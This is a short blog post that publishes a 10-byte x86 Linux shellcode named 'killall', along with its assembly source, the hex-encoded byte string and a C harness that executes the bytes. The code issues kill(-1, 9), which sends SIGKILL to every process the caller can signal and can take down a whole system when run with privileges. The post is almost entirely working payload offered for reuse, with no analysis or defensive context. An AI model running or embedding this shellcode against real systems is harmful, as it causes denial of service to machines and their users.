break a time, with break the c0de…

10 bytes killall x86 linux shellcode


/*
Name   : 10 bytes killall x86 linux shellcode
Date   : may, 31 2009
Author : gunslinger_
Web    : devilzc0de.com
blog   : gunslingerc0de.wordpress.com
tested on : linux debian
*/

/*

section .text

     global _start

_start:

	mov al, 37
	push byte -1
	pop ebx
	push byte 9
	pop ecx
	int 0x80
*/

char killme[]=
 "\xb0\x25"                    /* mov    $0x25,%al */
 "\x6a\xff"                    /* push   $0xffffffff */
 "\x5b"                        /* pop    %ebx */
 "\x6a\x09"                    /* push   $0x9 */
 "\x59"                        /* pop    %ecx */
 "\xcd\x80";                    /* int    $0x80 */
                            /*   end of shellcode - shgen by andreas n. */

int main(void)
{
	(*(void(*)()) killme)();
     
return 0;
}
Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s